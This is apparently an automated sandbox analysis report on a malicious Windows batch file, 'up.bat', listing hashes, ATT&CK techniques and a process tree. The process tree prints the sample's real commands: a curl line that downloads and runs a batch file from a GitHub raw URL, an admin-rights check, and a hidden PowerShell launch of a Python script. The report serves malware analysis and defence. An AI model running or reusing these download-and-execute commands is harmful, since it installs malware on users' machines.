a9003de00a9b15ee5da3f47fcb3df95f9aceb621a6afdf8f588398461e6bb941

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
13/03/2026, 10:05

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General

Target
up.bat
Size 1.3MB
Sample260313-l4rbfae161
SHA256 a9003de00a9b15ee5da3f47fcb3df95f9aceb621a6afdf8f588398461e6bb941
MD5 10a0e172b606d94d36c28cdd0978f11e
SHA1 096b3dd958f8ad8617d7b22a349e28c92fe318b6
SHA512 192d64c72e0cc2d0217716188084ab1f1c924274b6618d00bccf946059f2d3f25b2267abece2afba6a7ac2a9b54fd04dba2801a228b5d320c56220c74cbfb8e1
SSDEEP 24576:lgX4VtgX4VtgX4VtgX4VMgX4VtgX4VtgX4VtgX4V0:S4A4A4A4R4A4A4A4q
TLSH
T10E55F125DB6A2FCD2D390E8D046E3D574D9A6D313D22C8B0CADF280F8125BF65662D1B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4212	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4212	powershell.exe
4212	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4212	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 556	2400	cmd.exe	80
PID 556 wrote to memory of 3460	556	net.exe	81
PID 2400 wrote to memory of 652	2400	cmd.exe	82
PID 652 wrote to memory of 1072	652	cmd.exe	83
PID 652 wrote to memory of 2012	652	cmd.exe	84
PID 2012 wrote to memory of 3828	2012	net.exe	85
PID 652 wrote to memory of 4212	652	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\up.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3460
- C:\Windows\system32\cmd.exe
  cmd /c "curl https://raw.githubusercontent.com/m1-nc/roukii/main/ud.txt -o C:\Users\Admin\AppData\Local\Temp\um.bat && call C:\Users\Admin\AppData\Local\Temp\um.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:652
- - C:\Windows\system32\curl.exe
    curl https://raw.githubusercontent.com/m1-nc/roukii/main/ud.txt -o C:\Users\Admin\AppData\Local\Temp\um.bat
    3⤵
    PID:1072
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "C:\Users\Public\Documemt\python C:\Users\Public\Documemt\Lib\sim.py"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_gbpyfsuz.gkl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gbpyfsuz.gkl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

admin.ok

Path C:\Users\Admin\AppData\Local\Temp\admin.ok
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

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um.bat

Path C:\Users\Admin\AppData\Local\Temp\um.bat
Size 1.3MB
SHA256 42d34a7da8744c9c543dfa15f559eecd7ca6208cd9ce657363ae4de3fef1098c
MD5 4c98c3a83a09a80a540d75a78b1aa591
SHA1 83711659cefcbf87d78560f3567f969f6995e0c3
SHA512 94281d6fcc7cf453c52aa0779d7107ea94eab646be775278a85adad1edbda1cb1642c9447c6f2f3c7f7b17bdc091e220a47e5b6e4c2d692a46788e2bd3d0407c
SSDEEP 24576:uNs2GhZwiNs2GhZwiNs2GhZwiNs2GhZwuNs2GhZwiNs2GhZwiNs2GhZwiNs2GhZ1:u4hj4hj4hj4hz4hj4hj4hj4hz
TLSH
T1CD5502968F272FDA6C392A8D04BE6B85C89C5D333C23C4F6DDDA150FC13859A1592E1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4212-13-0x000001F6F1760000-0x000001F6F1782000-memory.dmp

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memory/4212-16-0x000001F6EFA90000-0x000001F6EFA9C000-memory.dmp

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memory/4212-17-0x000001F6F1350000-0x000001F6F1362000-memory.dmp

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